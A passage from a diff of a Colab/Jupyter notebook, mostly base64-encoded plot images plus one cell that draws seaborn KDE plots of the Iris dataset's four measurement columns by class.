eCoPZxjIjAiIpbRGHpeAt7IgtS87AMHN+/m+OHAYzusm0fjGLBtwWsRcAQ7jO8CSCm9CEzI9p0HrGi2+afAFdkHDj6w47GSihVv/4+UJO1eRMwG/ldKaWErjzsR+J8ppd09MmKfFxEHAltTSg1Zi+BtO3aX7uH4HwM/Tin9umRFSton2dcvKTcppSdoHFje3pUBP4uIA2h89tgXW3NwSukLJalK0j7PFi9JkqScOMZLkiQpJwYvSZKknBi8JEmScmLwkiRJyonBS5IkKScGL0mSpJz8P9GfnqwzrFqKAAAAAElFTkSuQmCC\n" + }, + "metadata": { + "needs_background": "light" + } + } + ] + }, + { + "cell_type": "code", + "source": [ + "fig,axes = plt.subplots(figsize=(14,10),nrows=2,ncols=2)\n", + "\n", + "plt.suptitle('Distribution of Each Column')\n", + "sns.kdeplot(data=df,x='Sepal length',hue='Class',shade=True,ax=axes[0][0])\n", + "sns.kdeplot(data=df,x='Sepal width',hue='Class',shade=True,ax=axes[0][1])\n", + "sns.kdeplot(data=df,x='Petal length',hue='Class',shade=True,ax=axes[1][0])\n", + "sns.kdeplot(data=df,x='Petal width',hue='Class',shade=True,ax=axes[1][1])\n", + "plt.tight_layout()\n", + "plt.show()" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 729 + }, + "id": "q7qbz4V1s7OE", + "outputId": "b3624c6f-9b2f-454a-a148-8d1c789a024c" + }, + "execution_count": 15, + "outputs": [ + { + "output_type": "display_data", + "data": { + "text/plain": [ + "
" + ], + "image/png": "iVBORw0KGgoAAAANSUhEUgAAA+gAAALICAYAAADseNpmAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4yLjIsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy+WH4yJAAAgAElEQVR4nOzdeXzdZZn//9d99iQnS7M1bfaUlrZQWkpF+Ql80QEEBNHBBTeWQfkxiMsPf87ofP0qOOCCy6gzzKjjgsAg4CwKgigioKAI3fe0WZo26ZYuabazn/v7R5KSNkmTk541eT8fjzzI+azXKYXPuc5939dlrLWIiIiIiIiISGY5Mh2AiIiIiIiIiChBFxEREREREckKStBFREREREREsoASdBEREREREZEsoARdREREREREJAu4Mh1AspSXl9uGhoZMhyEiIpJ0a9asOWStrch0HKmiZ7iIiMxUiT7DZ0yC3tDQwOrVqzMdhoiISNIZYzoyHUMq6RkuIiIzVaLPcE1xFxEREREREckCStBFREREREREsoASdBEREREREZEsMGPWoIuIyMx02223UV1dzf/5P//ntK4TiUT4y1/+wuWXX86rr76K0+nkxhtv5JprruHd7353UmK99dZbueqqq3jnO985rfN9Ph81NTW43e6EzjPG3APcBkSttVXTunmCjDEvAA9ba3+Y6nvddNNN1NTUcM8996T6ViIikoUikQidnZ0Eg8FMhzKh6T7DT6YEXUREMqahoYEDBw7gcrlwOp0sXbqUG264gVtvvRWHY2iS1/e+970pX+uHP/whl1566bj7Ozs7Wbx4MQMDAxhjAMjPz2fevHksWbIk4djvuusuWlpaePjhh49v++Mf/5jwdUZYazl8+DCdnZ00NjZO+TxjTB3waaDeWntwnP2XAL8HBk/adZm19s/TDjhBxpgi4EvAXwOlwAHgSeCe8847L11hiIhIDurs7KSwsJCGhobjz/BsMt1n+Hg0xV1ERDLqySefpK+vj46ODj772c/yta99jVtuuSXp9+nv76esrCwrH+wAxhjKysqmMzpQBxweLzkfZa+11n/STzqTcw/wHHAWcAVQBFwAHAbOT1ccIiKSm4LB4Ex9ho+hBF1ERLJCcXEx73jHO3jsscf46U9/yubNm4Gh6c2f//znATh06BBXX301JSUllJaWctFFFxGPx/nwhz/M7t27ueaaa/D7/dx3333s2rULYww/+tGPqKur4+abb6ajowNjDNFo9Ph9W1tbOf/88ykqKuLaa6/lyJEjALzwwgvU1NScEGNDQwO/+93veOaZZ/jyl7/MY489ht/vZ/ny5QBccskl/PCHQzO+4/E499xzD/X19VRWVnLDDTdw7NgxgOOx/fSnP6Wuro7y8nLuvffeU33wcBpjHjTGdBtjOowxnzfGOIwxlwLPAvONMf3GmAcS/XM3xtxsjNlmjOkzxrQZY/7fk/Zfa4xZb4zpNca0GmOuGLW73hjz8vC5vzXGlE9wmxsY+iLhXdbardbauLX2oLX2H621TwNs27aNSy65hJKSEs466yyeeOKJcS/0wAMPcOGFF578HmhpaQGG/r7cfvvtXHnllfj9ft785jezf/9+PvWpTzFnzhwWL17MunXrjp/b0NDAN77xDc455xyKi4t53/vel9VTKEVEZqtsTc5HJCs+JegiIpJVzj//fGpqasadLv7Nb36Tmpoauru7OXDgAF/+8pcxxvDQQw9RV1fHk08+SX9/P3/3d393/JwXX3yRbdu28e///u/j3u/BBx/kxz/+Mfv27cPlcvGJT3xi0hivuOIK/uEf/oH3ve999Pf3s2HDhjHHPPDAAzzwwAM8//zztLW10d/fzx133HHCMS+99BLNzc0899xzfOlLX2Lbtm0T3bIWKAaagP/FUMJ7s7X2d8CVvD5CftOkwY91ELiaoVHtm4F/MsasBDDGnA88CHwGKAEuBnaNOvcDw+dUAh7g/5/gHpcCz1hr+8fbaa3lmmuu4fLLL+fgwYP88z//Mx/84Adpbm6extuBxx9/nHvuuYdDhw7h9Xq54IILWLlyJYcOHeLd7343d95555jjn3nmGdrb29m4cSMPPPDAtO4rIiJyupSgi4hI1pk/f/7xkezR3G43+/bto6OjA7fbzUUXXTTpN9Z33XUXBQUF+Hy+cfd/+MMf5uyzz6agoIB//Md/5PHHH+e9730vH/jABzh48CBXXXUVO3bs4Oyzz07oPfzHf/wHd955J01NTfj9fr7yla/w6KOPnjB6/8UvfpG8vDyWL1/O8uXLx030Y7EYDK3Z/py1ts9auwv4JvDhBMKZb4zpOemnAMBa+5S1ttUOeRH4LXDR8Hm3AD+21j47POrdZa3dPuq6P7HW7rDWBoDHgRUT3L8M2DdRcP39/fT39/PZz34Wj8fDW9/6Vq6++mp+9rOfJfAWX/eud72L8847D5/Px7ve9S58Ph833HADTqeT973vfSeMoAN84hOfYP78+ZSWlnLNNdewfv36ad1XREQyZ//+/Vx//fUsWLCA8847b9rP70xTgi4iIlmnq6uL0tLSMds/85nPcMYZZ3D55ZfT1NTEV7/61UmvVVtbO+X9dXV1RCIRVq1axSOPPEJlZSVf+cpXOHDgQMLvYe/evdTX1x9/XV9fTzQaPeFaVVWvF1zPz8+nv3/sAPOhQ4cADNAxanMHUJ1IONbakpN+BgCMMVcaY14xxhwxxvQAVwEjU9VrgdZTXHf/qN8HAf8Exx0G5k10kUgkQm1t7fHCgDD059XV1TX5OxvH3Llzj/+el5c35vXJf85T+fcgIiLZy1rLu971Li655BJaW1tZs2bNtJ/fmaYEXUREssprr71GV1fXmHXGAIWFhXzzm9+kra2NJ554gm9961s899xzwMRrvyYbYd+zZ8/x33/+859jjOHTn/40BQUFDA4Osnz5cmpra7HW0t3dzf79+7nooov4/ve/z9NPP82f/vQnAPbt28f69eu5++67Ofvss8nPz6e9vZ2bbrqJs88+m3POOQeHw3FCsjgV5eXlABaoH7W5Dphe9jqKMcYL/BfwDWCutbYEeJqhLwQA9gALTvc+wO+At42M2p/M7XazZ88e4vH48W27d++munrsdxAj/15G7N+/f8wxIiIyuzz//PO43W5uu+2249tGnt8jdu3axUUXXcTKlStZuXLlCc/viy++mBUrVnD22Wfzxz/+kVgsdvz5vWzZMv7pn/4pbe9FCbqIiGSF3t5efvWrX3H99dfzoQ99iGXLlo055le/+hUtLS1YaykuLsbpdB4fdZ07dy5tbW0J3/fhhx9m69atDA4O8t3vfpdFixbhdDpZtGgRwWCQp556ikgkQnd3N6FQiJKSEp599lm++MUv0tjYyMc//nEAHnnkEebMmcMXv/hFNmzYwM0338x9991HS0sLr7zyCueccw7XXXcdLldiHU6dTifAUeBeY0yhMaYeuBN4+JQnTo0H8ALdQNQYcyVw+aj9PwJuNsb81XBRumpjzOJp3OchhpL9/zLGLB6+Vpkx5h+MMVcVFBSQn5/PfffdRyQS4YUXXuDJJ5/k+uuvH3Oh5cuXs2XLFtavX08wGOSuu+6aRjgiIjKTbN68mcladlZWVvLss8+ydu1aHnvsseM1Zx555BHe9ra3sX79ejZs2MCKFStYv349XV1dbN68mU2bNnHzzTen420AStBFRCTDrrnmGgoLC6mtreXee+/lzjvv5Cc/+cm4x+7cuZNLL70Uv9/PBRdcwO23385b3vIWAD73uc9xzz33UFJSwje+8Y0p3//DH/4wN910E1VVVUQiES655BJgqKr8v/7rv/KRj3yECy64AIfDQU1NDbFYjI9+9KN85zvfYfv27axdu5aVK1fyhje8gf379/PEE0+wadMmbr/9dj74wQ/yyiuvUFFRwZEjR/i3f/u36f4x7QYGgDbgJeAR4McJnD9S5X30z3XW2j7gEwytHz/KUNG34+XTrbWvMlw4DjgGvMiJI/lTYq0NMVQobjtDVed7gVcZmkr/F4fDwZNPPsmvf/1rysvLuf3223nwwQdZvHjsdwGLFi3iC1/4ApdeeikLFy4cd6aFiIjIySKRCB/96EdZtmwZ73nPe9i6dSsAb3jDG/jJT37CXXfdxaZNmygsLKSpqYm2tjY+/vGP88wzz1BUVJS2OI21Nm03S6VVq1bZ1atXZzoMSZJw3zFChw/icLnJq6rG4XJnOiQRyXHbtm1jyZIlpzzmueee4+677+YPf/jDCdt37drF1VdfzebNm7nrrrvo7+/nvvvuIx6P4/P5jhd+27t3L0899RT3338/d955JzfccAP9/f385je/4aGHHqK0tJQf//jUefV4cRpj1lhrV03jbecEPcNltmhv6eDpXz5Hy442auurectlF3LuG8bOFhKRE032DM+G5/dEcSb6DNcIumSd4JFDDOxpx+n1EY/F6N25jXgsOvmJIiKn6a1vfSuhUIgf/OAHx7dt3LjxhHXqx44dY968eTgcDh566KGRKut0dHQwd+5cPvrRj/KRj3yEtWvXcujQIeLxONdddx333HMPa9euTft7EpHMi0SifO3u7/Lhv/4Yu3d10rignp4jx/j0336Bz33qHgYHA5kOUSSnzaTnd2IL4URSLBYKEti3h7x5NTg9XtxA0FoGOjsorE9GnSIRkYkZY/if//kfPvWpT/G1r30Nn89HQ0MD3/72t48fc/vtt3Pdddfx4IMPcsUVV1BQMFT37IUXXuDrX/86brcbv9/P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